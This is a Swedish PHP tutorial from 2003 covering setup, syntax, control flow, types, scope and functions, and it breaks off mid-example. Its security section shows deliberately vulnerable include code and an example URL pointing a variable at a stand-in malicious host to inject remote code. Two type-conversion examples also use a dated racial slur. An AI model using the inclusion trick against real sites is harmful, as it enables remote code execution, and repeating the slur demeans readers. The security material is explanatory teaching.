några sidor om php © anders enges, vörå, 2003 |
[ Är du en svenskspråkig datalärare - klicka här ]
Rösta:
Jag satt och tittade genom sidorna lite och började fundera...
Vet nu inte riktigt om jag orkar fortsätta med dem...
Vad tycker du jag skall göra med denna sajt???
OBS!
Detta material är helt fritt att använda för in- eller
utlärning, men ni får inte 'suga ner den' och sätta
in i en sluten kursmiljö eller på egen kursserver. Upphovsrätten
är min, och jag har aldrig överlåtit denna, eller ens
fått betalt för kursmaterialet. Om någon hittar detta
material - helt eller delar - i någon kurs någonstans, och
detta material finns på en annan server än www.enges.org,
så meddela mig.
Jag börjar misstänka att det finns folk med en rätt 'flexibel'
syn på upphovsrätt :-(
PHP finns att laddas ner från:
När jag skriver detta är den sista stabila versionen 4.3.0
Om ni har en Linux maskin kanske PHP finns färdigt konfigurerad på denna. Om du har en Windows maskin så kanske du måste konfigurera en webserver. För Microsofts egna alternativ så kan du ta en titt på sidan
OBS! Det verkar vara lite strul med att installera IIS/PWS och PHP. Följande verkar fungera när jag provade på en "ren" dator (jag antar att ni använder c:\php som installationskatalog - modifiera vid behov):
Vill ni kontrollera om PHP finns installerat på er webserver kan ni skriva följande testsida med phpinfo:
<?php
phpinfo();
?>
Spara denna fil under namnet test.php och sätt den på er webplats. Surfa sedan iväg till denna sida. Om ni får PHP-källkoden till browsern, eller om ni får en download dialog, så finns inte PHP installerat på servern. I annat fall borde ni få PHP versionsnummer och en hel del annan statistik.
En annan möjlighet är att ladda ner Apache:s webserver som
även finns för Windows.
Denna finns att ladda ner från
Om du har IIS sedan tidigare men vill prova Apache på en Windows maskin måste du modifiera port i httpd.conf filen. Se dokumentationen för Apache...
Jag har ingen som helst tanke på att skriva en komplett dokumentation om PHP. På PHP:s hemsidor finns det nog allt man kan behöva. För "träddödare" kan jag rekommendera:
Core PHP Programming: Using PHP to build Dynamic Web Sites, Leon Atkinson, Prentice Hall 2000. ISBN 0-13-089398-6
OBS! Detta är ingen bra lärobok, utan snarare ett refernsverk.
Av vissa orsaker så är jag hänvisad till Wintel maskiner,
så jag testar bara på Apache 1.3 (Windows) och iis5.0. Min
nuvarade PHP version är PHP 4.3.0.
När jag skriver (om) denna sida är den aktuella verionen av php 4.3.0. Den fungerar dock i stort sett som 4.1.0 med avseende på säkerhet och golbala variabler. Det förefaller dock finnas en hel del 4.0.6 servrar fortfarande. Om du stöter på en sådan måste du anpassa koden. När jag började skriva dessa sidor var det vanligt med såväl 4.0.3, 4.0.6 och 4.1.2 så jag skapade en kompatibilitetsfil som jag använde för hantering av vissa variabler, och som jag inkluderar på alla sidor där jag behöver åtkomas av $_REQUEST eller $_SERVER. Se sources2.php för mer information.
Alla datorer som är kopplade till Internet är, per definition, osäkra. Detta gäller även internetrservrar med PHP installerat. Under den senaste tiden har PHP genomgått en rad förändringar, mest på grund av säkerhetsproblem. Jag beaktar inte PHP version 3 eftersom den (förhoppningsvis) inte används längre, men för 4:orna finns det ett antal mellanversioner.
I dessa versioner användes globala variabler för både "vanliga variabler", som för data som kom t.ex via URL. Detta medförde att man kunde skriva kod i stil med:
<?php
# $minKatalog är en global variabel som pekar
# på en viss katalog
include_once( "$minKatalog/programkod.php");
# gör något
?>
En cracker kan då åberopa sidan som
"php403.php?$minKatalog=http://www.elak.com/elakt.php"
och i praktiken se till att få in sin egna "elaka kod" i ditt program. Orsaken till att detta går är att denna PHP version inte gjorde någon skillnad mellan variabler och sådant som kom via en GET eller POST. Det finns metoder att komma förbi detta säkerhetsproblem, men de flesta programmerare vill ju så snabbt som möjligt få ett resultat, och bryr sig inte alltför ofta om säkerheten.
Vill du se mera om detta kan du t.ex. läsa Datormagazin nr. 3-2002,
eller ta en titt på registerglobals
I denna php version så användes HTTP_*_VARS för att komma åt datat. För kompatibilitet bakåt så finns det i php.ini en inställning register_globals, som om den är On gör att denna version hanterar globala variabler på samma sätt som 4.0.3. Denna skall helst sättas till Off. För att få motsvarande säkerhetsläcka som i exemplet för 4.0.3 så måste man då skriva följande kod:
<?php
# $minKatalog är en global variabel som pekar
# på en viss katalog
include_once( "{$HTTP_GET_VARS["minKatalog"]}/programkod.php");
# gör något
?>
Detta är helt möjligt att göra, men kan inte ske i misstag. (Dessutom krävs det en extremt korkad programmerare). Ett problem med HTTP_*_VARS var dock att dessa inte var helt globala. Om man behövde dessa i en funktion så måste man göra på följande sätt:
<?php
function enFunktion( )
{
# för att slippa åt HTTP_GET_VARS måste
# vi deklarera den med global
global $HTTP_GET_VARS;
$data = $HTTP_GET_VARS["viaUrl"];
# gör något
}
?>
Detta komplicerade koden och många programmerare satte helt enkelt register_globals till On för att slippa problemet.
I denna version introducerades s.k. superglobals för GET, POST COOKIE mm. Dessa gjorde programmeringen lättare, utan att för den skull öppna upp bakdörrar för crackers. (Se även _server.php)
<?php
function enFunktion( )
{
# går eftersom $_GET är en "superglobal"
$data = $_GET["viaUrl"];
# gör något
}
?>
Ett problem är att många program som fungerade med de äldre versionerna, slutade fungera med 4.1.0. Man kan dock skriva program som är kompatibla mot både 4.0.6 och 4.1.0, se nedan:
<?php
function visa()
{
# 4.0.6 kompatibel
global $HTTP_GET_VARS;
echo $HTTP_GET_VARS["viaUrl"] ."<br>";
# 4.1.0 kompatibel
echo $_GET["viaUrl"] ."<br>";
}
visa();
?>
./samples/php410b.php?viaUrl=hejsan
phpinfo() är en utmärkt funktion för debugging, eller när man är lite osäker på hur webservern är inställd. Den visar allt man kan tänkas vilja veta. Tyvärr visar den även en hel del viktig information åt crackern som söker vägar att bryta sig in i systemet. Visa därför aldrig phpinfo() informationen!
Jag arbetar dagligen med flera olika programmeringsspråk, och ibland blir gränserna mellan dessa otydiga. För att råda bot på detta så försöker jag ofta maximera skillnaderna mellan språken. Detta betyder att även om det finns många sätt att kommentera i koden, så använder jag # eftersom detta tecken inte används så ofta i de övriga programmeringsspråk jag använder
<?php
# kommentarer
# används även i pearl och Unix Shell scripts
# som jag relativ sällan programmerar i
# därför föredrar jag denna metod
// även detta är en kommentar
// med de användes även i C++ och Javascript
// så jag undviker dem
/* och också detta är en kommentar
men detta är klassiska C-kommentarer
och jag skriver rätt ofta i C och vill inte börja
blanda ihop programmeringsspråken */
echo "Detta kommer till sidan<br>\n";
print("Men även detta - med det är för likt
printf i C så jag undviker denna metod<br>");
print "Även denna metod funkar<br>";
?>
Det finns två "skolor" inom programmering hur man skall formatera kod: Windows och Unix. Dedan finns samma kod formaterad enligt dessa två skolor:
<?php
# windows formatering
$variabel = 10;
if ( $variabel == 10 )
{
echo "En tia!";
}
else
{
echo "Något annat";
}
?>
<?php
# unix formatering
$variabel = 10;
if ( $variabel == 10 ) {
echo "En tia!";
} else {
echo "Något annat";
}
?>
Jag föredrar "windows skolan" även om koden blir längre. Du kommer dock att hitta en hel del unix-formaterad kod på nätet och i böcker.
...formatera som du vill, men du skall vara konsekvent. Om du formatarar enligt windows, men kopierar unix-kod skall du formatera om koden. Dessutom skall koden alltid vara snyggt och prydligt indenterad med tabulatorer för att gå att läsa...
PHP program består av mer eller mindre HTML kod. Sidan sparas med extensionen .php och kan förutom HTML innnehålla programmeringskod. För att kunna se resultatet måste sidan bearbetas av en webserver med PHP installerat. Det går således inte att öppna sidan direkt i en webbrowser. Nedan visas ett exempel på en PHP fil och dess resultat.
<html>
<head>
<title>Exempel 1</title>
</head>
<body bgcolor="#FFFFFF">
<?php
echo "hello world, I exist";
?>
</body>
</html>
OBS! För att spara utrymme kommer jag hädanefter att lämna bort all extra HTML kod. Det är självklart att du när du skriver PHP-sidor, så skall du se till att skapa korrekt HTML-kod . |
Det finns även möjligheten att använda tagsen <? ... ?>, men detta kan missförstås i en miljö där man använder XML. Om konfigurationsfilen har raden asp_tags = On kan även <% ... %> användas men det är inte rekommendabelt och standardinställningen är att asp_tags är avstängda.
Programsatser avslutas med ; som i exemplet nedan. I motsats till VB, så betyder inte en rad = en programsats, utan rader kan bytas rätt fritt. Programsaten avslutas först när ; kommer.
<?php
echo "En rad <br>";
# observera att nedanstående programsats inte
# tar slut förrän ; - tecknet kommer
echo
"En
till
rad
<br>"
;
?>
PHP använder C++ kommentarer //, "gamla" C kommentarer som börjas med /* och avslutas med */ eller UNIX shell kommentarer #
<?php
/* Följande 3 rader är bortkommenterade
echo "En rad <br>";
echo "En rad <br>";
echo "En rad <br>";
*/
echo "En till rad <br>"; # detta är en kommentar
# följande rad kommer inte att köras
# echo "En till rad <br>;";
echo "En till rad <br>"; // Kommentar 1
?>
Om man använder C kommentarer måste man vara försiktig med att nästa kommentarer. Följande kod ställer till problem
<?php
/* Följande 3 rader är bortkommenterade
echo "En rad <br>";
echo "En rad <br>"; /* en nästad kommentar */
echo "En rad <br>";
*/
?>
Variabler skall alltid börja med $ tecknet och är "case sensitive". Första tecknet efter $ får inte vara en siffra
<?php
$var = "Bob";
$Var = "Joe";
echo "$var, $Var"; // Kommer att visa "Bob, Joe"
$_4site = 'not yet'; // OK
$täyte = 'mansikka'; // OK
?>
Observera att ovanstående "bob och joe" exempel faktiskt
är korrekt. Man kan sätta variabler mellan " " och det kommer ändå att
visas variabelvärdet.
Om man vill sätta in ett $ i en sträng måste man skriva "\$" Följande
är t.ex möjligt:
<?php
$pris = 100;
echo "Priset var $pris \$";
?>
Om man som första tecken har en siffra händer följande:
<?php
$4site = 'not yet'; // FEL; Börjar med siffra
?>
I en teckensträng måste man skriva
\n | för att få ett radbyte (CRLF) |
\r | för att få ett "enkelt unix" radbyte (CR) |
\t | för att få en TAB (HT) |
\\ | för att få ett \ tecken |
\$ | för att få ett $ tecken |
\" | för att få ett " tecken |
\" | för att få ett " tecken |
\(oktalt nummer) t.ex. \45 | för att få vilket tecken som helst |
\x(hexadecimalt nummer) tex. \x4D | för att få vilket tecken som helst |
Man kan använda både " och ' för teckensträngar. Variabler kommer dock inte att expanderas i strängar med ' runtomkring.
<?php
$str = "text" ;
$enText = "en $str" ;
$enTextTill = 'en $str' ;
echo $enText . "<br>" ;
echo $enTextTill . "<br>";
?>
I ovanstående exempel ser vi även . (dot) operanden som används för strängkonkatering (ihopskarvning)
PHP har alla de vanliga operanderna. Dessutom finns det några
som kan vara obekanta för VB-programmerare. Se även operators
Operand | Användning |
+ | Addition |
- | Subtraktion |
Multiplikation | |
/ | Division |
% | Modulus |
++ | Inkrementering (ökning) |
-- | Dekrementering (minskning) |
. | Konkatering (ihopskarvning av strängar) |
+, - och liknande borde inte vara obekanta. Däremot kanske ++ och -- behöver förklaras. Se nedanstående program:
<?php
# exempel på ++ och -- i samband med tilldelning
$första = 10;
# $första kommer att öka med 1, men först efter tilldelningen
$andra = $första++;
echo "Första: $första, Andra: $andra<br />";
$första = 10;
# $första kommer att minska med 1, men först efter tilldelningen
$andra = $första--;
echo "Första: $första, Andra: $andra<br />";
$första = 10;
# $första kommer att öka med 1, men före tilldelningen
$andra = ++$första;
echo "Första: $första, Andra: $andra<br />";
$första = 10;
# $första kommer att miska med 1, men före tilldelningen
$andra = --$första;
echo "Första: $första, Andra: $andra<br />";
# men man kan även använda ++ och -- ensamt
$tal = 10;
$tal++; # öka tal
$tal++; # öka tal
$tal--; # minska tal
echo "Talet är $tal";
?>
$tal++ är således samma sak som $tal = $tal + 1, men kan dessutom användas i samband med tilldelning och loopar.
För att ge värden till variabler kan man använda tilldelningsoperander. Dessa är mer omfattande i PHP än i VB
= borde inte vara obekant. Däremot kanske resten behöver förklaras. Se nedanstående program:
<?php
# exempel på +=,*= mm. samband med tilldelning
$första = 3;
$andra = 10;
$andra += $första;
echo "Första: $första, Andra: $andra<br />";
$andra -= $första;
echo "Första: $första, Andra: $andra<br />";
$andra *= $första;
echo "Första: $första, Andra: $andra<br />";
$andra /= $första;
echo "Första: $första, Andra: $andra<br />";
$texten = "Hello ";
$world = "world";
$texten .= $world;
echo "Texten: $texten";
?>
$tal += 3 är således samma sak som $tal = $tal + 3.
För if och andra styrsater kan man behöva logiska operander. Dessa är:
<?php
$tal = 10;
$siffra = 11;
$nummer = 12;
# användning av AND och OR
if ( ( $tal > 33 AND $siffra <= 20 ) OR $nummer == 12 )
{
echo "Kommer jag hit?<br />";
}
# användningen av NOT !
if ( ! ( $nummer == $siffra ) )
{
echo "$nummer och $siffra är INTE olika<br />";
}
# observera att parenteserna behövs i ovanstående
# nedan är samma utan parenteser
if ( ! $nummer == $siffra )
{
echo "$nummer och $siffra är INTE olika<br />";
}
?>
Det finns dessutom några speciella operander:
Operand | Användning |
$ | Referens till variabel |
& | Alias till variabel |
-> | Referens till klassvariabel |
=> | Används för Arrays (se foreach) |
@ | Hindra felmeddelanden |
? | Se styrsatser |
{} | Variabel i en sträng |
<?php
# användning av $
$variabel = "värde";
$värde = 123;
# visa $värde variabelns innehåll
echo $värde . "<br />";
# visa $variabel variabelns innehåll
echo $variabel. "<br />";
# $variabel innehåller texten "värde"
# genom att sätta ett extra $ före blir
# ju detta $värde
echo $$variabel. "<br />";
# ---------------------------------
echo "<br />";
# användning av &
# skapa en variabel
$namn = "Kalle";
# skapa en annan variabel som är ett alias
# för den första
$nimi = &$namn;
$namn = "Ville";
echo $namn . "<br />";
echo $nimi . "<br />";
# ---------------------------------
echo "<br />";
# användning av @
#detta är OK
$fil = fopen("./samples/s11.php","r");
echo $fil;
# detta är FEL men ger inget felmeddelande
@ $fil = fopen("Filen finns inte","r");
echo $fil;
# ---------------------------------
echo "<br />";
# användning av {}
$texten = "namn";
echo "En text {$texten}<br />";
# gör ingen skillnad för vanliga variabler man kan ha
# betydelse ibland. Se nedan...
$enArray[] = "test";
$enArray[] = "mer";
# försöker skriva ut tredje tecknet i den första arrayvariabeln
echo "En text $enArray[0][2]<br />";
# bättre försök
echo "En text {$enArray[0][2]}<br />";
?>
Istället för @ kan man även använda error_reporting( nivå ). Se felhantering...
En specialare lånad från PEARL är s.k. HERE docs. Dessa kan vara användbara för att få mer komplicerad text in i en variabel.
<?php
$variabel = <<< HERE
Här får du skriva vad du vill. Det är helt OK med
"flygare" av 'bägge slagen'. Du får
även skriva vanlig html:
<font face="arial" size="6">HERE</font>
Detta kan vara användbart för t.ex. formar...
Men observera att:
tabulatorer och annan formatering
inte kommer att komma med.
Inte heller radbyten...
För att avsluta skriver du följande rad
(som MÅSTE komma direkt från marginalen
dra inte in denna rad):
HERE;
echo $variabel;
echo "<hr>";
function aa()
{
$en_till_variabel = <<< TESTA
Man måste inte använda HERE som ord bara man sätter
samma ord som avslutning med ett ;-tecken efter ordet
Ordet måste alltid finnas vid marginalen (se nästa rad).
TESTA;
return $en_till_variabel;
}
echo aa();
?>
En besläktad sak är s.k output buffering. Se nedanstående exempel.
<?php
# starta output buffering
ob_start();
# kör kod som normalt skulle skriva direkt till sidan
highlight_string("<font color=\"red\">TEST</font>");
# fånga upp det som buffrats
$a = ob_get_contents ();
# töm output buffer OBS! PHP 4.3.0 eller nyare
ob_clean();
# denna variabel innehåller nu det som skulle skrivits
# till sidan...
echo $a;
?>
<font color="red">TEST</font>
Nedan visas ett exempel på if-satsens användning.
<?php
# för exemplet skull så generarar jag ett slumptal
# med hjälp av Mersenne Twister algoritmen.
# initiera slumptalsgeneratorn
mt_srand( time() );
# slumplal mellan 0 och 20
$nummer = mt_rand( 0, 20 );
# visa numret
echo $nummer;
if ( $nummer < 10 ) # om mindre är 10
{
echo " är mindre än 10";
}
elseif ( $nummer > 10 ) # om större än 10
{
echo " är större än 10";
}
else # exakt 10
{
echo " är exakt 10!";
}
?>
Observera att det inte finns någon "End If", utan blocken markeras med hjälp av { och }.
OBS! Det vanligaste misstaget en användare gör är att han skriver = för jämförelser. Detta medför inte ett syntaxfel utan det sker en "vanlig" tilldelning. Se nedanstående exempel. Kan förorsaka otrevliga buggar i programmet.
<?php
$nummer = 12345;
if ($nummer = 10)
{
echo $nummer . " är exakt 10!";
}
else
{
echo $nummer . " är inte 10!";
}
?>
En variant på if är C-språkets ?-operand. Den påminner lite om IF funktinonen i EXCEL.
Syntaxen är:
jämförelse ? det som skall returneras om sant : det som returneras
om falskt
<?php
# slumplal mellan 0 och 20
mt_srand( time() );
$nummer = mt_rand( 0, 20 );
# visa om det var större än 10 eller inte
echo $nummer;
echo $nummer > 10 ? " är större än 10" : " är inte större än 10";
echo "<br />";
# man kan även nästa ? . kombinatinen
echo $nummer;
echo $nummer > 10 ? " större" : ( $nummer < 10 ? " mindre" : " exakt" );
?>
<?php
# dagens nummer (mellan 0 och 6)
$dayNumber = date("w");
switch ( $dayNumber )
{
case 0:
$dag = "Söndag";
break;
case 1:
$dag = "Måndag";
break;
case 2:
$dag = "Tisdag";
break;
case 3:
$dag = "Onsdag";
break;
case 4:
$dag = "Torsdag";
break;
case 5:
$dag = "Fredag";
break;
case 6:
$dag = "Lördag";
break;
default;
$dag = "En dag som inte finns?";
}
echo "I dag är det " . $dag;
?>
Observera ordet break; som gör att switch satsen inte fortsätter med nästa rad. Om man inte har break; kommer man att "trilla igenom" och resultatet blir något konstigt. Se nedan:
<?php
# dagens nummer (mellan 0 och 6)
$dayNumber = date("w");
switch ( $dayNumber )
{
case 0:
$dag = "Söndag";
case 1:
$dag = "Måndag";
case 2:
$dag = "Tisdag";
case 3:
$dag = "Onsdag";
case 4:
$dag = "Torsdag";
case 5:
$dag = "Fredag";
case 6:
$dag = "Lördag";
default;
$dag = "En dag som inte finns?";
}
echo "I dag är det " . $dag;
?>
Eftersom man inte kan använda intervall som i VB kan det kanske vara bäst att strunta i switch och satsa på att behärska if-elseif-else syntaxen istället.
För att loopa ett okänt antal varv kan man använda while. Nedan visas ett exempel på detta:
<?php
# slumplal mellan 1 och 6
mt_srand( time() );
$nummer = mt_rand( 1, 6);
echo "Skall kasta tärning tills jag får en sexa...<br />";
while ( $nummer != 6 )
{
echo "Aj då en " . $nummer . "a<br />";
$nummer = mt_rand( 1, 6 );
}
echo "<b>Nu fick jag äntligen sexan!</b><br />";
?>
En variant på samma tema är konstruktionen do - while. Nedanstående program gör samma sak som föregående med ett viktigt undantag: Om det först slumptalet är en sexa kommer programmet att visa Aj då en 6a, för att sedan avsluta loopen.
<?php
# slumplal mellan 1 och 6
mt_srand( time() - 1 );
echo "Skall kasta tärning tills jag får en sexa...<br />";
do
{
$nummer = mt_rand( 1, 6 );
echo "Aj då en " . $nummer . "a<br />";
} while ( $nummer != 6 );
echo "<b>Nu fick jag äntligen sexan!</b><br />";
?>
<?php
# slumplal mellan 1 och 6
mt_srand( time() - 1 );
echo "Skall kasta tärning 5 gånger...<br />";
for ( $antal = 0; $antal < 5; $antal = $antal + 1 )
{
$nummer = mt_rand( 1, 6 );
if ($nummer != 6)
{
echo "Aj då en " . $nummer . "a<br />";
}
else
{
echo "<b>Nu fick jag sexan!</b><br />";
}
}
echo "<br />Skall räkna till tio ";
for ( $antal = 1; $antal <= 10; $antal++ )
{
echo $antal . " ";
}
echo " klar";
?>
För arrays finns det en speciell foreach konstruktion. Jag kommer att behandla arrays separat, men nedan är ett litet exempel.
<?php
$personer["Anders"] = "And";
$personer["Kalle"] = "Anka";
$personer["Donald"] = "Duck";
foreach ( $personer as $förnamn=>$efternamn )
{
echo $förnamn . " " . $efternamn . "<br />";
}
$nummer[] = 30;
$nummer[] = 20;
$nummer[] = 10;
foreach ( $nummer as $index=>$värde )
{
echo $index . " " . $värde . "<br />";
}
?>
För att avbryta en loop kan man använda break
<?php
# borde loopa 10000 varv
for ( $i = 0; $i < 1000; $i++)
{
# men avbryt redan vid det 5:e
if ( $i > 5 )
{
break;
}
echo "Varv " . $i . "<br />";
}
?>
För att hoppa över resten av loopen och direkt fortsätta med nästa varv kan man avända continue.
<?php
# loopa 10 varv
for ( $i = 0; $i < 10; $i++)
{
# om det är "vartannat" varv så skippar vi resten
if ( $i % 2 == 0 )
{
continue;
}
echo "Varv " . $i . "<br />";
}
?>
Det finns några olika metoder att hantera fel.
För enklare typer av fel kan man använda en PERL-liknande konstruktion:
<?php
# stänger av all felhantering
error_reporting (0);
# detta kan lyckas - om inte visas ett felmedelande
$fp = fopen("enfil.txt", "r") OR die("OOPS. Kunde inte öppna filen");
?>
(Jag måste medge att jag tycker detta är en kul lösning. "Gör det eller DÖ". Inget tjafs där inte.. Man kan även använda ordet exit istället för die, men det är inte lika dramatiskt.)
Man kan ställa in olika nivåer av felhantering genom att använda error_reporting funktionen. Se nedan:
<?php
# stänger av all felhantering - ej rekommendabelt
error_reporting(0);
echo error_reporting() . "<br />";
# normal felhanteringsnivå - inte för noga och inte för slapp
error_reporting (E_ERROR | E_WARNING | E_PARSE);
echo error_reporting() . "<br />";
# lämplig för utvecklingsmiljö
error_reporting (E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
echo error_reporting() . "<br />";
# alla fel och alla varningar - blir fort jobbig
error_reporting (E_ALL);
echo error_reporting() . "<br />";
?>
För enstaka rader kan man även använda @ som kopplar bort eventuella felmeddelande för den rad som börjar med detta tecken. Se exemplet på sidan "Specialare".
PHP har inte starkt typsatta variabler som t.ex. Java eller C. Detta
betyder inte att det inte finns datatyper. Se även variables
Man behöver inte säga åt PHP att en variabel är en heltalsvariabel, den märker det av sammanhanget. Se nedan:
<?php
$nummer = 100;
echo $nummer + 100;
echo "<br />";
# observera att nedanstående kommer att
# tolkas som heltalsaddition
echo $nummer + "10 små negerpojkar";
?>
Decimaltal måste anges med punkt (som vanligt).
<?php
$nummer = 100.34;
echo $nummer + 100;
echo "<br />";
# observera att nedanstående kommer att
# tolkas som addition
echo $nummer + "10 små negerpojkar";
?>
<?php
# true och false är fördefinierade
$rätt = true;
$fel = false;
if ( ! $fel == $rätt )
{
echo "inte fel blir rätt";
}
?>
<?php
# hur variabeln tolkas beror lite på sammanhanget
$texten = "101 dalmatiner ";
echo $texten + 100;
echo "<br />";
echo $texten . 100;
?>
Tid och datum är som vanligt ett mångfacetterat problem, så jag tar upp dessa separat. Tänkte bara påminna om att de finns.
Ibland är det helt OK att kompilatorn tolkar datat och avgör vilken typ data är, men ibland vill man styra det själv. Det finns tre olika metoder att konvertera mellan datatyperna: settype, xxxval och casting. Nedan visas ett program som använder alla metoderna.
<?php
$texten = "39.3 graders feber";
echo "Texten okonverterad: " . $texten . "<br />";
echo "<br />Användning av settype<br />";
echo "-----------------------------------------------<br />";
settype( $texten, "double");
echo "Texten som double: " . $texten . "<br />";
# modifierar ju datatypen så jag måste återställa variabeln
$texten = "39.3 graders feber";
settype( $texten, "integer");
echo "Texten som integer: " . $texten . "<br />";
$texten = "39.3 graders feber";
settype( $texten, "string");
echo "Texten som string: " . $texten . "<br />";
echo "<br />Användning av strval, doubleval och intval<br />";
echo "-----------------------------------------------<br />";
$texten = "39.3 graders feber";
echo "Texten som double: " . doubleval($texten) . "<br />";
echo "Texten som integer: " . intval($texten) . "<br />";
echo "Texten som string: " . strval($texten) . "<br />";
echo "<br />Användning av C-liknande casting<br />";
echo "-----------------------------------------------<br />";
$texten = "39.3 graders feber";
echo "Texten som double: " . (double) $texten . "<br />";
echo "Texten som integer: " . (integer) $texten . "<br />";
echo "Texten som string: " . (string) $texten . "<br />";
?>
Tag en titt på följande program:
<?php
# kommer att ge fel så jag kopplar bort all felhantering
error_reporting (0);
$siffra = 100;
function testarLite()
{
$siffra = 0;
$texten = "Mångfald är bättre än enfald!";
echo "Skriver ut från funktionen<br />";
echo "\$siffra: " . $siffra . "<br />";
echo "\$texten: " . $texten . "<br />";
}
# åberopa funktionen
testarLite();
echo "Skriver ut efter funktionen<br />";
echo "\$siffra: " . $siffra . "<br />";
echo "\$texten: " . $texten . "<br />";
?>
Observera att en variabel som skapas utanför en funktion inte syns i funktionen, och att en variabel som skapas i funktionen inte kommer att synas utanför funktionen. Det förstnämnda avviker från t.ex. VB, där globala variabler syns i alla funktioner.
För att komma åt globala variabler kan man skriva ordet global. Se nedanstående kod:
<?php
$siffra = 100;
function testarLite()
{
# genom att skriva global före ett variabelnamn
# så säger man att denna är global och skall
# kommas åt i funktionen
global $siffra;
# man kan även skapa globala variabler i en funktion
# men det är oftast en dålig idé
global $texten;
$texten = "HEPP";
echo "Skriver ut från funktionen<br />";
echo "\$siffra: " . $siffra . "<br />";
echo "\$texten: " . $texten . "<br />";
$siffra = 0;
}
# åberopa funktionen
testarLite();
echo "Skriver ut efter funktionen<br />";
echo "\$siffra: " . $siffra . "<br />";
echo "\$texten: " . $texten . "<br />";
?>
En annan möjlighet är att använda sig av GLOBALS kollektionen enligt nedanstående exempel:
<?php
$siffra = 100;
function testarLite()
{
echo "Skriver ut från funktionen<br />";
$GLOBALS["texten"] = "KALLE ";
echo "\$siffra: " . $GLOBALS["siffra"] . "<br />";
echo "\$texten: " . $GLOBALS["texten"] . "<br />";
$GLOBALS["siffra"] = 0;
}
# åberopa funktionen
testarLite();
echo "Skriver ut efter funktionen<br />";
echo "\$siffra: " . $siffra . "<br />";
echo "\$texten: " . $texten . "<br />";
?>
För att kontollera om en variabel finns kan man använda isset funktionen. Se nedanstående kod:
<?php
$variabel = "TEST";
if ( isset( $variabel ) )
{
echo "varabeln \$variabel finns och har värdet " . $variabel . "<br />";
}
else
{
echo "varabeln \$variabel finns <b>inte</b><br />";
}
if ( isset( $variabel2 ) )
{
echo "varabeln \$variabel2 finns och har värdet " . $variabel2 . "<br />";
}
else
{
echo "varabeln \$variabel2 finns <b>inte</b><br />";
}
?>
Konstanter kan användas på samma sätt som variabler, men kan inte ändras. Det finns en stor mängd fördefinierade konstanter som PHP har skapat, men man kan även skapa egna. Se nedanstående kodexempel:
<?php
error_reporting(0);
define("GREETING", "Hej alla barn, nu är det barnprogram");
echo GREETING;
echo "<br />";
# man kan även slippa åt konstanter mer dynamiskt
# med constant() funktionen OBS! PHP 4.0.6 och nyare
$variabel = "GREE" . "TING";
echo constant($variabel);
echo "<br />";
# observera att konstanter är "case-sensitive"
# nedanstående funkar inte
echo Greeting;
# man kan kontrollera om en konstant finns med defined
if ( defined( "GREETING" ) )
{
echo "<br>Yepp, det finns en GREETING konstant<br>";
}
if ( ! defined( "GOODBYE" ) )
{
echo "Men ingen GOODBYE";
}
?>
Av tradition så brukar konstanter skrivas med stora bokstäver. Detta för att man enklare skall kunna skilja dem från variabler.
Det finns ett antal fördefinierade konstanter som jag visar i nedanstående program:
<?php
# observera att det är 2 understrykningstecken (_)
# både före och efter FILE och LINE
echo "__FILE__ : " . __FILE__ . "<br />";
echo "__LINE__ : " . __LINE__ . "<br />";
echo "PHP_VERSION : " . PHP_VERSION . "<br />";
echo "PHP_OS : " . PHP_OS . "<br />";
?>
Se även sidan om variablers räckvidd
samt functions
Det finns inga procedurer i PHP, bara funktioner. Se nedanstående programexempel:
<?php
function utanParam()
{
return "Hej, du hittade mig";
}
function medEnParam( $invärde )
{
return "Du gav mig " . $invärde;
}
function utanReturVärde( )
{
echo "Ids inte returnera nåt";
return;
echo "detta skrivs aldrig";
}
echo utanParam();
echo "<br />";
$nånting = medEnParam( 1918 );
echo $nånting;
echo "<br />";
utanReturVärde();
echo "<br />";
?>
Funktioner åberopas genom att skriva funktionens namn. Observera att parenteserna måste skrivas ut, även om man inte vill ge funktionen något värde.
Vill funktionen returnera någontin används ordet return. Även om funktionen inte returnerar någonting kan man använda return för att avsluta funktionen. I ovanstående exempel så visas aldrig texten "detta skrivs aldrig", eftersom funktionen redan återvänt.
Man kan även ge "defaultvärden" åt en funktion. Se nedan.
<?php
# tre parametrar med defaultvärden
function valfriaParam( $första = "ETT", $andra = 34, $tredje= 3.5 )
{
return $första . " " . $andra . " " . $tredje;
}
# använd bara defaulten
echo valfriaParam();
echo "<br />";
# använd defaulten för andra och tredje
echo valfriaParam( "HEPP" );
echo "<br />";
# använd defaulten för tredje
echo valfriaParam( "TEST" , 292 );
echo "<br />";
# inga default
echo valfriaParam( "HÅÅ" , 292 , 3.66 );
echo "<br />";
?>
En specialare som PHP lånat från C är funktioner men ett okänt/variabelt antal parametrar. Se nedan:
<?php
# variabelt antal variabler
function hurMångaSomHelst()
{
# hur många värden har funktionen fått?
$antalParametrar = func_num_args();
# vilka är de - en array
$parameterLista = func_get_args();
# skall summera lite
$summa = 0;
for ( $i = 0; $i < $antalParametrar; $i++ )
{
# samma som $summa = $summa + $parameterLista[$i];
$summa += $parameterLista[$i];
}
# returnera summan
return $summa;
}
# testar lite olika varianter
echo hurMångaSomHelst();
echo "<br />";
echo hurMångaSomHelst(1,3,5);
echo "<br />";
echo hurMångaSomHelst(1,2,3,4,5,6,7,8,9,10);
echo "<br />";
?>
I VB kan man använda ByRef och ByVal för att ange hur parametrar skall hanteras. Motsvarande koncept finns även i PHP, där man använder & för referenser.
<?php
# observera & tecken före den senare parametern
function medReferens( $värdet, &$referens)
{
# ändrar på värdena
$referens = 1;
$värdet = 22;
return $värdet * 10;
}
# ger variablerna startvärden
$siffra = 100.22;
$nummer = 129;
# skriver ut värdena
echo "\$siffra " . $siffra . "<br />";
echo "\$nummer " . $nummer . "<br />";
# åberopar funktionen och skriver ut returvärdet
echo medReferens( $nummer , $siffra) . "<br />";
# skriver ut värdena
# siffra har ändrat, men inte nummer
echo "\$siffra " . $siffra . "<br />";
echo "\$nummer " . $nummer . "<br />";
?>
Man kan även åberopa funktioner mer dynamiskt
<?php
function fet( $värdet )
{
echo "<b>" . $värdet . "</b><br />" ;
}
function kursiv( $värdet )
{
echo "<i>" . $värdet . "</i><br />" ;
}
function understruken( $värdet )
{
echo "<u>" . $värdet . "</u><br />" ;
}
$minFunktion = "fet";
$minFunktion("FETTO");
$minFunktion = "kursiv";
$minFunktion("Lutar du?");
# det är till och med möljigt att sätta
# funktionsnamnen i en array och använda arrayen
# direkt
$formateringar[] = "fet";
$formateringar[] = "kursiv";
$formateringar[] = "understruken";
mt_srand( time() );
# slumplal mellan 0 och 2
$nummer = mt_rand( 0, 2 );
